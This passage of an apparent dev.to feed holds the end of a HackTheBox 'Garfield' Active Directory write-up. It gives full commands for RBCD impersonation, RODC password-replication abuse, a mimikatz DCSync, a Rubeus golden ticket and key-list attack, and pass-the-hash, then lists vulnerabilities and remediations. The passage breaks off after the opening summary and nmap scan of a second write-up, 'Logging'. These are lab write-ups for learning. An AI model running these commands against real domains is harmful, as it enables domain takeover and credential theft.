  &lt;span class="nt"&gt;-delegate-from&lt;/span&gt; &lt;span class="s1"&gt;'EVIL$'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-action&lt;/span&gt; write &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'garfield.htb/l.wilson_adm:Password12!'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;3. Request a service ticket for RODC01, impersonating Administrator:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;proxychains getST.py &lt;span class="se"&gt;\&lt;/span&gt;
  garfield.htb/&lt;span class="s1"&gt;'EVIL$'&lt;/span&gt;:&lt;span class="s1"&gt;'EvilPass123!'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-spn&lt;/span&gt; cifs/RODC01.garfield.htb &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-impersonate&lt;/span&gt; Administrator &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-dc-ip&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;4. Export and use the ticket:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;5. Connect via &lt;code&gt;wmiexec&lt;/code&gt;:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;proxychains wmiexec.py &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-no-pass&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-target-ip&lt;/span&gt; 192.168.100.2 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'garfield.htb/Administrator@RODC01.garfield.htb'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.6 Forcing Credential Replication
&lt;/h3&gt;

&lt;p&gt;RODCs don't cache all domain credentials by default - only accounts explicitly permitted by the Password Replication Policy (PRP). The policy was modified to allow replication of the real &lt;code&gt;Administrator&lt;/code&gt; account.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;PowerView.ps1&lt;/code&gt; (bundled by default on Kali) was uploaded to the &lt;code&gt;l.wilson_adm&lt;/code&gt; session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;locate powerview.ps1
/usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;upload&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/path/to/powerview.ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Configure the RODC to cache Administrator credentials:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Import-Module&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;\PowerView.ps1&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Set-DomainObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Identity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RODC01&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Set&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="s1"&gt;'msDS-RevealOnDemandGroup'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;@(&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s1"&gt;'CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s1"&gt;'CN=Administrator,CN=Users,DC=garfield,DC=htb'&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Set-DomainObject&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Identity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;RODC01&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'msDS-NeverRevealGroup'&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Force credential replication:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;repadmin /rodcpwdrepl RODC01 DC01 &lt;span class="s2"&gt;"CN=Administrator,CN=Users,DC=garfield,DC=htb"&lt;/span&gt;

Successfully replicated secrets &lt;span class="k"&gt;for &lt;/span&gt;user &lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Administrator,CN&lt;span class="o"&gt;=&lt;/span&gt;Users,DC&lt;span class="o"&gt;=&lt;/span&gt;garfield,DC&lt;span class="o"&gt;=&lt;/span&gt;htb on read-only DC RODC01 from full DC DC01.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  5.7 Extracting Keys and Forging Tickets
&lt;/h2&gt;

&lt;p&gt;With the real Administrator's credentials now cached on the RODC, its &lt;code&gt;krbtgt_8245&lt;/code&gt; key (the RODC-specific KDC key) was dumped with mimikatz:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;mimikatz.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;lsadump::dcsync&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/user:garfield\krbtgt_8245&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Forging a RODC Golden Ticket&lt;/strong&gt; using the extracted key (Rubeus uploaded to the RODC01 shell):&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Use Rubeus v2.3.3 or later - older versions silently ignore the &lt;code&gt;/keyList&lt;/code&gt; flag.&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\Rubeus.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;golden&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/rodcNumber:8245&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/flags:forwardable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;renewable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nx"&gt;enc_pa_rep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/nowrap&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;/outfile:ticket.kirbi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/aes256:&lt;/span&gt;&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;AES_KEY&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/user:Administrator&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/id:500&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;/domain:garfield.htb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/sid:S-1-5-21-2502726253-3859040611-225969357&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key List Attack&lt;/strong&gt; - using the same extracted key to request a full-privilege TGS and recover the Administrator's NTLM hash:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;\Rubeus.exe&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;asktgs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/enctype:aes256&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/keyList&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/service:krbtgt/garfield.htb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;/dc:DC01.garfield.htb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="n"&gt;/ticket:ticket_2026_04_05_12_11_04_Administrator_to_krbtgt&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="nx"&gt;GARFIELD.HTB.kirbi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/nowrap&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns the domain Administrator's NT hash, usable directly with Pass-the-Hash.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Root Flag
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;evil-winrm &lt;span class="nt"&gt;-i&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt; &lt;span class="nt"&gt;-u&lt;/span&gt; Administrator &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'EE..............2D5'&lt;/span&gt;

&lt;span class="k"&gt;*&lt;/span&gt;Evil-WinRM&lt;span class="k"&gt;*&lt;/span&gt; PS C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&amp;gt; &lt;span class="nb"&gt;cd &lt;/span&gt;Desktop
&lt;span class="k"&gt;*&lt;/span&gt;Evil-WinRM&lt;span class="k"&gt;*&lt;/span&gt; PS C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&lt;span class="se"&gt;\D&lt;/span&gt;esktop&amp;gt; &lt;span class="nb"&gt;dir

    &lt;/span&gt;Directory: C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&lt;span class="se"&gt;\D&lt;/span&gt;esktop

Mode                LastWriteTime         Length Name
&lt;span class="nt"&gt;----&lt;/span&gt;                &lt;span class="nt"&gt;-------------&lt;/span&gt;         &lt;span class="nt"&gt;------&lt;/span&gt; &lt;span class="nt"&gt;----&lt;/span&gt;
&lt;span class="nt"&gt;-ar---&lt;/span&gt;         4/4/2026  11:55 PM             34 root.txt

&lt;span class="k"&gt;*&lt;/span&gt;Evil-WinRM&lt;span class="k"&gt;*&lt;/span&gt; PS C:&lt;span class="se"&gt;\U&lt;/span&gt;sers&lt;span class="se"&gt;\A&lt;/span&gt;dministrator&lt;span class="se"&gt;\D&lt;/span&gt;esktop&amp;gt; &lt;span class="nb"&gt;type &lt;/span&gt;root.txt
HTB&lt;span class="o"&gt;{&lt;/span&gt;REDACTED&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  7. Attack Chain Summary
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Initial Access
│
├─ Credential Leak (j.arbuckle)
│
├─ Reconnaissance
│   ├─ Nmap → Domain Controller identified (DC01)
│   ├─ DNS → Dual-homed DC (public + 192.168.x.x)
│   └─ SMB/LDAP → Users &amp;amp; shares enumerated
│
├─ BloodHound Analysis
│   └─ Attack path identified (incomplete):
│       l.wilson → l.wilson_adm → RODC01
│
├─ Initial Foothold (SYSVOL Abuse - BloodHound blind spot)
│   ├─ Write access to SYSVOL logon scripts (not in AD ACLs)
│   ├─ Upload malicious script (evil.bat + shell.ps1)
│   ├─ Set scriptPath for l.wilson
│   └─ Reverse shell as l.wilson (on next logon)
│
├─ Lateral Movement
│   ├─ Reset password of l.wilson_adm
│   └─ WinRM access as l.wilson_adm (user flag)
│
├─ Privilege Escalation (AD Abuse)
│   ├─ Enumerate writable objects
│   ├─ WRITE access on RODC01
│   └─ Resource-Based Constrained Delegation (RBCD)
│       ├─ Create fake machine account (EVIL$)
│       ├─ Configure delegation on RODC01
│       ├─ Request TGS impersonating Administrator
│       └─ Access RODC01 (via internal network)
│
├─ Network Pivoting
│   ├─ Identify internal IP (192.168.100.2)
│   ├─ Chisel reverse SOCKS tunnel
│   └─ Proxychains → internal network access
│
├─ Domain Compromise via RODC
│   ├─ Add l.wilson_adm to RODC Administrators
│   ├─ Modify Password Replication Policy (allow Administrator)
│   ├─ Force credential replication (repadmin)
│   └─ Extract krbtgt_8245 key (mimikatz)
│
├─ Ticket Forgery
│   ├─ Forge RODC Golden Ticket (Rubeus)
│   └─ Key List Attack → Administrator NTLM hash
│
└─ Full Domain Compromise
    └─ Pass-the-Hash → Administrator access (root flag)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  8. Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability / Misconfiguration&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Credential exposure&lt;/td&gt;
&lt;td&gt;Valid credentials for &lt;code&gt;j.arbuckle&lt;/code&gt; were available&lt;/td&gt;
&lt;td&gt;Initial domain access&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;SYSVOL write access&lt;/td&gt;
&lt;td&gt;User had write permissions on &lt;code&gt;\\SYSVOL\scripts&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Logon script injection -&amp;gt; remote code execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;BloodHound-invisible attack path&lt;/td&gt;
&lt;td&gt;NTFS permissions on SYSVOL aren't visible in BloodHound's AD-ACL model&lt;/td&gt;
&lt;td&gt;Hidden privilege escalation path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Excessive AD delegation rights&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;l.wilson&lt;/code&gt; can reset the password of &lt;code&gt;l.wilson_adm&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Lateral movement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Privileged account misconfiguration&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;l.wilson_adm&lt;/code&gt; holds high privileges over RODC01&lt;/td&gt;
&lt;td&gt;Privilege escalation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Writable AD object (RODC01)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;WRITE&lt;/code&gt; access on the RODC01 computer object&lt;/td&gt;
&lt;td&gt;Enables RBCD attack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Resource-Based Constrained Delegation exposure&lt;/td&gt;
&lt;td&gt;Delegation settings modifiable by a low-privileged writable-object holder&lt;/td&gt;
&lt;td&gt;Impersonation of Administrator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Dual-homed domain controller&lt;/td&gt;
&lt;td&gt;DC exposed on an internal (&lt;code&gt;192.168.x.x&lt;/code&gt;) network in addition to the public one&lt;/td&gt;
&lt;td&gt;Pivoting opportunity into internal segment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Poor network segmentation&lt;/td&gt;
&lt;td&gt;Internal network reachable once pivoted&lt;/td&gt;
&lt;td&gt;Access to otherwise-restricted hosts (RODC01)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;No egress filtering&lt;/td&gt;
&lt;td&gt;Outbound connections (reverse shell, Chisel tunnel) allowed unrestricted&lt;/td&gt;
&lt;td&gt;C2 and tunneling capability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;RODC Administrators group mismanagement&lt;/td&gt;
&lt;td&gt;Attacker-controlled account added to RODC Administrators&lt;/td&gt;
&lt;td&gt;Elevated control over the RODC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;Weak Password Replication Policy&lt;/td&gt;
&lt;td&gt;RODC PRP could be modified to allow replication of the real Administrator&lt;/td&gt;
&lt;td&gt;Credential exposure via a read-only DC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;Forced credential replication&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;repadmin&lt;/code&gt; used to force-replicate Administrator's credentials to RODC&lt;/td&gt;
&lt;td&gt;Credential dumping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;Kerberos key exposure (&lt;code&gt;krbtgt_8245&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;RODC-specific KRBTGT key extracted via DCSync&lt;/td&gt;
&lt;td&gt;Golden Ticket / Key List Attack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;Lack of monitoring/detection&lt;/td&gt;
&lt;td&gt;No apparent alerting on script abuse, delegation changes, or forced replication&lt;/td&gt;
&lt;td&gt;Full domain compromise without detection&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  9. Remediations
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Recommendation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Credential exposure&lt;/td&gt;
&lt;td&gt;Rotate and audit any credentials shared outside their intended scope; avoid reusing HTB-provided or onboarding credentials without a forced rotation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SYSVOL write access via GPO delegation&lt;/td&gt;
&lt;td&gt;Audit "Manage Logon Scripts" and similar GPO delegations regularly; treat file-level SYSVOL write access as equivalent in risk to an AD object ACL grant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BloodHound-invisible SYSVOL paths&lt;/td&gt;
&lt;td&gt;Supplement BloodHound collection with explicit SYSVOL/NTFS permission audits (e.g. &lt;code&gt;icacls&lt;/code&gt;, dedicated SYSVOL ACL review tooling) as part of routine AD hygiene&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Delegated password-reset rights (&lt;code&gt;l.wilson&lt;/code&gt; -&amp;gt; &lt;code&gt;l.wilson_adm&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Apply least-privilege delegation; avoid granting standard users password-reset rights over higher-privileged or administrative accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Writable RODC computer object&lt;/td&gt;
&lt;td&gt;Restrict &lt;code&gt;WRITE&lt;/code&gt; access on domain controller computer objects, including RODCs, to Domain/Enterprise Admins only&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RBCD misuse via &lt;code&gt;ms-DS-MachineAccountQuota&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Set &lt;code&gt;ms-DS-MachineAccountQuota&lt;/code&gt; to &lt;code&gt;0&lt;/code&gt; for non-administrative users to prevent unauthorized machine account creation used in RBCD attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dual-homed DC / internal network exposure&lt;/td&gt;
&lt;td&gt;Avoid dual-homing domain controllers across trust boundaries; if required, enforce strict firewalling and monitoring on the internal-facing interface&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No egress filtering&lt;/td&gt;
&lt;td&gt;Implement egress filtering and network monitoring to detect reverse shells, unauthorized tunneling tools (Chisel, etc.), and unusual outbound connections&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RODC Password Replication Policy weaknesses&lt;/td&gt;
&lt;td&gt;Keep the RODC PRP restrictive by default; alert on any modification of &lt;code&gt;msDS-RevealOnDemandGroup&lt;/code&gt; or &lt;code&gt;msDS-NeverRevealGroup&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Forced credential replication (&lt;code&gt;repadmin /rodcpwdrepl&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Monitor and alert on RODC replication events targeting privileged accounts such as &lt;code&gt;Administrator&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RODC &lt;code&gt;krbtgt&lt;/code&gt; key exposure&lt;/td&gt;
&lt;td&gt;Treat RODC KDC keys with the same sensitivity as the domain &lt;code&gt;krbtgt&lt;/code&gt; key; monitor for DCSync-style requests against RODC service accounts&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lack of monitoring/detection&lt;/td&gt;
&lt;td&gt;Deploy detection for logon script modification, group membership changes to privileged groups, delegation attribute changes, and abnormal ticket requests (Golden Ticket / Key List Attack indicators)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




</description>
      <category>cybersecurity</category>
      <category>writeup</category>
      <category>ctf</category>
      <category>hackthebox</category>
    </item>
    <item>
      <title>HackTheBox : Logging Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Sun, 19 Jul 2026 08:24:37 +0000</pubDate>
      <link>https://dev.to/exploitnotes/hackthebox-logging-writeup-2f5j</link>
      <guid>https://dev.to/exploitnotes/hackthebox-logging-writeup-2f5j</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Logging is a Windows Active Directory box built around a long, credential-chaining path from a leaked service account password to full domain compromise. Initial access starts with SMB access to a &lt;code&gt;Logs&lt;/code&gt; share that leaks hardcoded credentials for &lt;code&gt;svc_recovery&lt;/code&gt;, which turn out to be one increment off the real (rotated) password. That account can't authenticate over SMB/LDAP directly (&lt;code&gt;STATUS_ACCOUNT_RESTRICTION&lt;/code&gt;), so Kerberos is used instead. BloodHound reveals &lt;code&gt;GenericWrite&lt;/code&gt; over the gMSA &lt;code&gt;msa_health$&lt;/code&gt;; since GenericWrite doesn't allow a direct password reset, a Shadow Credentials attack is used to pull its NT hash, and Pass-the-Hash grants a shell. From there, a writable share abused by a SYSTEM-run scheduled task (&lt;code&gt;UpdateChecker Agent&lt;/code&gt;) allows DLL-planting via a ZIP-extraction flaw in &lt;code&gt;UpdateMonitor.exe&lt;/code&gt;, giving a shell as &lt;code&gt;jaylee.clifton&lt;/code&gt; and the user flag.&lt;/p&gt;

&lt;p&gt;Privilege escalation to &lt;code&gt;Administrator&lt;/code&gt; abuses a misconfigured ADCS template (&lt;code&gt;UpdateSrv&lt;/code&gt;, with &lt;code&gt;ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt;) to forge a certificate for &lt;code&gt;wsus.logging.htb&lt;/code&gt;, a rogue machine account to gain DNS-write rights, and DNS poisoning to redirect the domain's WSUS client to an attacker-controlled HTTPS WSUS server (via a patched &lt;code&gt;pywsus&lt;/code&gt;). The forced update sync executes a malicious package as SYSTEM, yielding full domain compromise and the root flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key techniques:&lt;/strong&gt; SMB share credential leak → password-rotation guessing → Kerberos-only service account → BloodHound GenericWrite abuse → Shadow Credentials → Pass-the-Hash → scheduled task ZIP-extraction DLL planting → ADCS &lt;code&gt;ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; template abuse → machine account DNS record abuse → WSUS HTTPS MITM → SYSTEM.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;An &lt;code&gt;nmap&lt;/code&gt; scan was run to identify open ports and services on the target.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &amp;lt;MACHINE-IP&amp;gt;
Starting Nmap 7.98 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2026-04-20 06:28 &lt;span class="nt"&gt;-0400&lt;/span&gt;
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;DC01.logging.htb &lt;span class="o"&gt;(&lt;/span&gt;&amp;lt;MACHINE-IP&amp;gt;&lt;span class="o"&gt;)&lt;/span&gt;
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.31s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

PORT     STATE  SERVICE       VERSION
53/tcp   open   domain        Simple DNS Plus
80/tcp   open   http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: &lt;span class="s2"&gt;"IIS Windows Server"&lt;/span&gt;
